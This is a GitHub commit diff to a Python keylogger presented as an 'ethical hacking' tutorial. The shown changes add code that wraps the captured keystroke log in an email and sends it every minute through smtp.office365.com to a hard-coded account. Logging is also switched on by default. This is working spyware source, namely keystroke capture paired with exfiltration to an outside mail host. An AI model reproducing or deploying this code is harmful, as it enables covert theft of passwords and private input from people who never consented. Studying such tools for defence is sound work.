Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit4a88681

Browse files
committed
update keylogger tutorial
1 parent23bc7b9 commit4a88681

File tree

1 file changed

+30
-8
lines changed

1 file changed

+30
-8
lines changed

‎ethical-hacking/keylogger/keylogger.py

Lines changed: 30 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,12 @@
33
# Timer is to make a method runs after an `interval` amount of time
44
fromthreadingimportTimer
55
fromdatetimeimportdatetime
6+
fromemail.mime.multipartimportMIMEMultipart
7+
fromemail.mime.textimportMIMEText
68

79
SEND_REPORT_EVERY=60# in seconds, 60 means 1 minute and so on
8-
EMAIL_ADDRESS="put_real_address_here@gmail.com"
9-
EMAIL_PASSWORD="put_real_pw"
10+
EMAIL_ADDRESS="email@provider.tld"
11+
EMAIL_PASSWORD="password_here"
1012

1113
classKeylogger:
1214
def__init__(self,interval,report_method="email"):
@@ -59,17 +61,37 @@ def report_to_file(self):
5961
print(self.log,file=f)
6062
print(f"[+] Saved{self.filename}.txt")
6163

62-
defsendmail(self,email,password,message):
64+
defprepare_mail(self,message):
65+
"""Utility function to construct a MIMEMultipart from a text
66+
It creates an HTML version as well as text version
67+
to be sent as an email"""
68+
msg=MIMEMultipart("alternative")
69+
msg["From"]=EMAIL_ADDRESS
70+
msg["To"]=EMAIL_ADDRESS
71+
msg["Subject"]="Keylogger logs"
72+
# simple paragraph, feel free to edit
73+
html=f"<p>{message}</p>"
74+
text_part=MIMEText(message,"plain")
75+
html_part=MIMEText(html,"html")
76+
msg.attach(text_part)
77+
msg.attach(html_part)
78+
# after making the mail, convert back as string message
79+
returnmsg.as_string()
80+
81+
defsendmail(self,email,password,message,verbose=1):
6382
# manages a connection to an SMTP server
64-
server=smtplib.SMTP(host="smtp.gmail.com",port=587)
83+
# in our case it's for Microsoft365, Outlook, Hotmail, and live.com
84+
server=smtplib.SMTP(host="smtp.office365.com",port=587)
6585
# connect to the SMTP server as TLS mode ( for security )
6686
server.starttls()
6787
# login to the email account
6888
server.login(email,password)
69-
# send the actual message
70-
server.sendmail(email,email,message)
89+
# send the actual message after preparation
90+
server.sendmail(email,email,self.prepare_mail(message))
7191
# terminates the session
7292
server.quit()
93+
ifverbose:
94+
print(f"{datetime.now()} - Sent an email to{email} containing:{message}")
7395

7496
defreport(self):
7597
"""
@@ -85,8 +107,8 @@ def report(self):
85107
self.sendmail(EMAIL_ADDRESS,EMAIL_PASSWORD,self.log)
86108
elifself.report_method=="file":
87109
self.report_to_file()
88-
# if you want to print in the console,uncomment below line
89-
# print(f"[{self.filename}] - {self.log}")
110+
# if youdon'twant to print in the console,comment below line
111+
print(f"[{self.filename}] -{self.log}")
90112
self.start_dt=datetime.now()
91113
self.log=""
92114
timer=Timer(interval=self.interval,function=self.report)

0 commit comments

Comments
 (0)

[8]ページ先頭

©2009-2025 Movatter.jp